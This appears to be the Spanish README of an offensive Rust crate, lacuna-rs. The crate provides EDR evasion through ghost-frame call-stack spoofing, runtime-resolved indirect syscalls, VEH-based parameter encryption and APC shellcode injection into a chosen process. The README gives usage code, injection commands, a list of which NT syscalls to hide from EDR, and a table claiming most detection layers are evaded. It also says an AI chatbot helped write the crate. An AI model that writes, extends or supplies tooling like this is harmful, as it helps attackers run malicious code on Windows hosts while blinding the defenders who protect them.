
Crate de Rust para suplantación de pila de llamadas con ghost-frame, syscalls indirectos en tiempo de ejecución e inyección APC en Windows x64. Proporciona resolución de SSN, emisión de stubs JIT y cifrado de parámetros basado en VEH para evasión de EDR.
Suplantación de pila de llamadas de fotogramas fantasma + llamadas al sistema indirectas en tiempo de ejecución para Windows x64 — portado a Rust.
Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).
lacuna-rs es una crate Rust reutilizable que proporciona las mismas primitivas que el TTP original en C, estructurada para que pueda integrarse en cualquier proyecto Rust — como wsyscall-rs o syscalls-rs, pero con resolución de SSN en tiempo de ejecución, direccionamiento syscall;ret por función y suplantación de pila de fotogramas fantasma.
La característica
stack-spooffallará silenciosamente si la crate consumidora no se compila con punteros de marco.
Las primitivas de pisoteo de pila en chain.rs localizan la ranura de dirección de retorno de la persona que llama mediante mov rbp, {x} en ensamblador en línea. Esto requiere que la cadena RBP esté intacta. Rust (y la mayoría de los compiladores en modo release) omiten los punteros de marco por defecto.
build.rs establece force-frame-pointers=yes para la generación de código de esta propia crate, pero Cargo no puede propagar banderas del compilador a crates descendentes. Debes agregar esto a tu propio proyecto:
# .cargo/config.toml (en TU crate, NO en lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Sin esto, stomp_plant() leerá basura de RBP y no hará nada (mejor caso) o corromperá la pila (peor caso). La crate no tiene forma de detectar en tiempo de ejecución si los punteros de marco están habilitados — simplemente no funcionará.
Si solo necesitas las primitivas de escaneo, resolución de SSN o inyección (sin suplantación de pila), puedes omitir la característica stack-spoof y este requisito no aplica.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Cuando no hay características habilitadas, solo están disponibles las capas de escaneo/PE/NT.
cargo run --example scan
cargo run --example verify --features stack-spoof
Ejemplo de inyección con implante real - C2 estaba desconectado pero el Shellcode se ejecutó
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Agrega --verbose para habilitar la salida de diagnóstico de VEH (volcados de pila, impresiones de registros):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
En lugar de encolar APC a todos los hilos del proceso objetivo (lo que puede bloquear el proceso cuando demasiados hilos son alertados simultáneamente), inject_sapc utiliza un algoritmo de puntuación para seleccionar los mejores MAX_APC_THREADS (5) candidatos:
NtQueryInformationThread(ThreadCycleTime) — indicador principal de actividadNtQueryInformationThread(ThreadTimes) — tiempo de kernel + usuarioNtQueryInformationThread(ThreadSuspendCount) — los hilos no suspendidos reciben +300 de bonificación; los suspendidos obtienen -150 por cada suspensiónNtQueryInformationThread(ThreadBasicInformation) — los hilos con prioridad 8-10 reciben +150 de bonificación; las prioridades fuera de rango reciben -100 de penalizaciónLos hilos completamente inactivos (cero ciclos y cero tiempo de CPU) se omiten por completo. Los candidatos restantes se ordenan por puntuación (mayor primero, desempate por ciclos) y se truncan a los 5 primeros.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Escanear regiones fantasma
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regiones fantasma en ntdll", n);
// Resolver SSN + syscall;ret para una función específica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolver SSN + la dirección syscall;ret de la propia función
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// Emitir JIT un stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret si se llamó a build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("falló la asignación del stub");
// Convertir al tipo de puntero de función correspondiente y llamar
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Escanear ntdll/kernelbase/wow64/win32u en busca de regiones fantasma y construir
// la pila de llamadas falsa de seis capas. Establece G_GHOST_GADGET para que los stubs
// direccionen a través de JMP [RBX] en una DLL firmada.
lacuna::chain::build_chain();
// Registrar manejadores VEH (cifrado de parámetros + guardián de cadena)
let _veh = lacuna::veh::VehGuard::register().expect("Falló el registro de VEH");
// Opcional: habilitar diagnóstico detallado en tiempo de ejecución
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plantar fotogramas fantasma (reemplaza las direcciones de retorno con fantasmas de DLL firmada)
lacuna::chain::stomp_plant();
// Armar DR0 en syscall;ret — VEH descifrará XOR los parámetros en el límite
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Llamar a través del stub indirecto — RIP aterriza dentro de ntdll en la entrada del kernel
let _status = unsafe { open_proc(/* parámetros cifrados con XOR */) };
// Siempre desarmar antes de cualquier llamada no protegida
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
No toda llamada a la API necesita el tratamiento completo de LACUNA. El principio clave es: ocultar las llamadas que un EDR correlacionaría como actividad de inyección o post-explotación.
Estas son las syscalls NT "joya de la corona" que los EDR enganchan y correlacionan:
Para cada una de estas:
nt::resolve(ntdll, b"NtXxx\0")stub::make_stub(ssn, syscall_ret)veh::pcrypt_arm(key, syscall_ret, true)chain::stomp_plant() y chain::stomp_restore()nt::resolve(ntdll, b"NtXxx\0") — devuelve (SSN, syscall_ret_VA).stub::make_stub(ssn, syscall_ret) — devuelve un puntero de función invocable.extern "system" fn(...) apropiado mediante core::mem::transmute.chain::build_chain() y llamar a chain::stomp_plant() / chain::stomp_restore() alrededor de la llamada.veh::pcrypt_arm(key, syscall_ret, true) antes de la llamada, y veh::pcrypt_disarm() después.El stub maneja automáticamente la secuencia mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Si se registró un gadget fantasma, el stub direcciona a través de JMP [RBX] para redirección de ejecución de doble uso + marco puente sin artefactos.
Las 9 contribuciones clave del artículo técnico de LACUNA Chain están representadas en el código:
syscalls-rs?syscalls-rs y wsyscall-rs generan una tabla de SSN en tiempo de compilación a partir de la ntdll de una versión específica de Windows. Si la máquina objetivo ejecuta una versión diferente, los SSN son incorrectos y las syscalls fallan (o activan heurísticas de EDR).
lacuna-rs resuelve los SSN en tiempo de ejecución leyendo directamente los stubs de ntdll, y apunta a la instrucción syscall;ret de la propia función de modo que RIP está dentro de ntdll en la entrada del kernel — derrotando las heurísticas de "desajuste de SSN" y "syscall indirecto desde memoria no respaldada" de los EDR.
Además, lacuna-rs proporciona la cadena de suplantación de pila de fotogramas fantasma que syscalls-rs no ofrece.
x86_64-pc-windows-msvc (o x86_64-pc-windows-gnu)litcrypt2 (ofuscación de cadenas en tiempo de compilación)stack-spoof)La característica stack-spoof requiere punteros de marco. build.rs establece force-frame-pointers=yes automáticamente para esta crate, pero las crates consumidoras también deben configurarlo en su .cargo/config.toml:
# .cargo/config.toml (en la crate consumidora)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Todos los literales de cadena en la crate y los ejemplos están envueltos en macros lc!(), que los cifran en tiempo de compilación y los descifran en tiempo de ejecución. La clave de cifrado se lee de la variable de entorno LITCRYPT_ENCRYPT_KEY; si no está configurada, litcrypt2 genera automáticamente una clave aleatoria.
Para fijar una clave para compilaciones reproducibles:
set LITCRYPT_ENCRYPT_KEY=tu-clave-secreta
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # Establece force-frame-pointers para stack-spoof
├── src/
│ ├── lib.rs # Raíz de la crate + reexportaciones + scan_all() + configuración de litcrypt2
│ ├── win.rs # Enlaces FFI de Win32/NT (compatible con no_std)
│ ├── pe.rs # Análisis de secciones PE + exportaciones
│ ├── scan.rs # Escaneo de regiones fantasma .pdata + gadgets
│ ├── nt.rs # Resolución de SSN + direccionamiento syscall;ret
│ ├── stub.rs # Emisión de stub de syscall indirecto JIT
│ ├── veh.rs # Cifrado de parámetros con VEH + breakpoint hardware
│ ├── chain.rs # Cadena de fotogramas fantasma LACUNA + pisoteo
│ └── inject.rs # Inyección APC basada en secciones
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + objetivo windows-msvc
Este proyecto fue asistido activamente por un chatbot de IA. Tuve la oportunidad de probar un modelo de Código Abierto más nuevo y muy capaz (GLM-5.2 de Z.ai (Zhipu AI)) y quería darle una tarea desafiante. Lecciones aprendidas: Funcionó bien si el humano sabe cómo deben ser los resultados. Si no... solo basura.
MIT
| Primitiva | Función en C | Módulo en Rust |
|---|
| Análisis de secciones PE + exportaciones | pe_section(), pe_export() | pe |
Escaneo de región fantasma .pdata | scan_ghosts(), best_ghost() | scan |
Descubrimiento de gadget fantasma (jmp [rbx]) | scan_ghost_gadgets() | scan |
Buscador de hueco NOP en win32u | win32u_nop_gap() | scan |
| Buscador de anclaje BYOUD-MF | find_mf_target() | scan |
| Resolución de SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localizador de syscall;ret por función | find_func_syscall() | nt |
| Emisión de stub de syscall indirecto JIT | alloc_stub() | stub |
| Redirección de stub hacia gadget fantasma | (en alloc_stub()) | stub |
| Cifrado de parámetros con VEH + breakpoint hardware | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH guardián de cadena | chain_veh() | veh |
| Construcción de cadena LACUNA | build_chain() | chain |
| Pisoteo de pila (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Caminante de cadena (verificación) | lacuna_walk_chain() | chain |
| Inyección APC basada en secciones | do_inject_sapc() | inject |
| Característica | Descripción | ¿Requiere punteros de marco? |
|---|
syscalls (por defecto) | Resolución de SSN + emisión de stub JIT | No |
inject (por defecto) | Inyección APC basada en secciones (inject::inject_sapc) | No |
veh | Cifrado de parámetros con VEH + breakpoint hardware | No |
stack-spoof | Cadena de fotogramas fantasma LACUNA + pisoteo de pila | Sí |
no-std | Modo no_std (experimental) | No |
| Llamada | Por qué es sensible |
|---|
NtOpenProcess | Abre un manejador a otro proceso — primer paso de la inyección |
NtCreateSection + NtMapViewOfSection (remoto) | Firma de inyección basada en secciones |
NtWriteVirtualMemory | Escritura entre procesos — indicador clásico de inyección |
NtCreateThreadEx | Creación de hilo remoto — primitiva de inyección de mayor señal |
NtQueueApcThread | Inyección APC — alta señal |
NtProtectVirtualMemory | Cambios de permisos RWX — indicador de preparación de shellcode |
NtAllocateVirtualMemory (remoto) | Asignación remota — preludio de inyección |
NtSetInformationThread | Ocultación de hilo (HideFromDebugger) — indicador de evasión |
| Llamada | Por qué es segura |
|---|
NtQueryInformationThread | Solo consulta, rara vez enganchado, sin escritura entre procesos |
NtDelayExecution | Dormir — benigno, usado por todas las aplicaciones |
NtClose | Cierre de manejador — benigno, extremadamente común |
GetModuleHandleA / GetProcAddress | Resolución de módulos — no es una syscall, no se puede enganchar con hooks de userland de EDR |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | Enumeración de hilos — kernel32, no syscall de ntdll |
OpenThread / CloseHandle | Operaciones estándar de manejador — kernel32 |
GetThreadContext / SetThreadContext | Necesario para DR0 — kernel32, solo proceso propio |
lc!() — la crate lo exige, y los diagnósticos de VEH están controlados por set_verbose(true) que por defecto está desactivado.| # | Concepto del artículo | Ubicación en el código | Descripción |
|---|
| 1 | BYOUD-Gap (modificación .pdata cero) | chain.rs — construcción de cadena de fotogramas fantasma | Explota huecos entre entradas RUNTIME_FUNCTION; el unwinder los trata como fotogramas hoja (RSP += 8) |
| 2 | Ataque de Ventana APC ETW-Ti | inject.rs — drenaje alertable de NtDelayExecution | Controla cuándo se dispara la instantánea de pila APC de ETW-Ti manipulando el estado alertable del hilo |
| 3 | Cifrado de parámetros en contexto BYOUD | veh.rs — pcrypt_arm(), param_encrypt_veh() | Cifra con XOR los parámetros de syscall en el escenario; descifra dentro de un VEH de breakpoint hardware en la instrucción syscall |
| 4 | Cadena de huecos NOP en Win32u + Gadget Fantasma | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | 1,242 huecos NOP en win32u.dll proporcionan fotogramas hoja en lista blanca; gadget fantasma JMP [RBX] en ntdll+0xFC47B |
| 5 | Proximidad semántica de fotogramas fantasma en kernelbase | chain.rs — capa L2_kbase cerca de VirtualProtect | Fantasma de 238 bytes que termina en el punto de entrada de VirtualProtect — indistinguible de un sitio de retorno real de VP |
| 6 | BYOUD-MF (Teletransporte RSP de Fotograma de Máquina) | chain.rs — struct MachFrame, scan.rs — find_mf_target() | Explota UWOP_PUSH_MACHFRAME (código de operación 10) en los despachadores KiUser* para teletransporte arbitrario de RSP en un solo fotograma |
| 7 | BYOUD-RT (Cálculo de RSP en tiempo de ejecución) | chain.rs — teb_stack_base(), teb_stack_limit() | Lee TEB.StackBase (GS:[0x08]) en el momento de la llamada para calcular la distancia exacta del fotograma — no se necesita precalibración |
| 8 | Proximidad de fotograma fantasma en wow64.dll | chain.rs — capa L1_wow64, scan.rs — apunta a Wow64PrepareForException | Fantasma de 91 bytes que termina en la entrada de Wow64PrepareForException — cuarta capa semántica para la cadena |
| 9 | Cadena LACUNA de seis capas | chain.rs — struct LacunaStack (L1-L5 + MachFrame) | Cadena completa: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| Capa de detección | Estado | Implementación |
|---|
| Verificación de módulo de origen | EVADIDO | Todos los fotogramas en ntdll / kernelbase / wow64 / win32u |
| Corrección del recorrido de unwind | EVADIDO | Todos los fotogramas lacuna son hoja -> RSP+8 válido |
Escaneo forense de .pdata | EVADIDO | Modificación cero; los huecos son preexistentes |
| Pila sombra CET | EVADIDO | Cadena puramente hoja; no se consulta la pila sombra |
| Análisis semántico de fotogramas | EVADIDO | Adyacencia a WoW64 exception + VirtualProtect |
| Exención de regla de Win32u | EVADIDO | La capa 4 está explícitamente excluida por todas las reglas |
| ETW-Ti STACKWALK | EVADIDO | El ataque de ventana APC controla el tiempo de la instantánea |
| Inspección de parámetros | EVADIDO | Descifrado VEH con breakpoint hardware |
| Callbacks del kernel | PARCIAL | Las operaciones de manejador aún disparan ObRegisterCallbacks |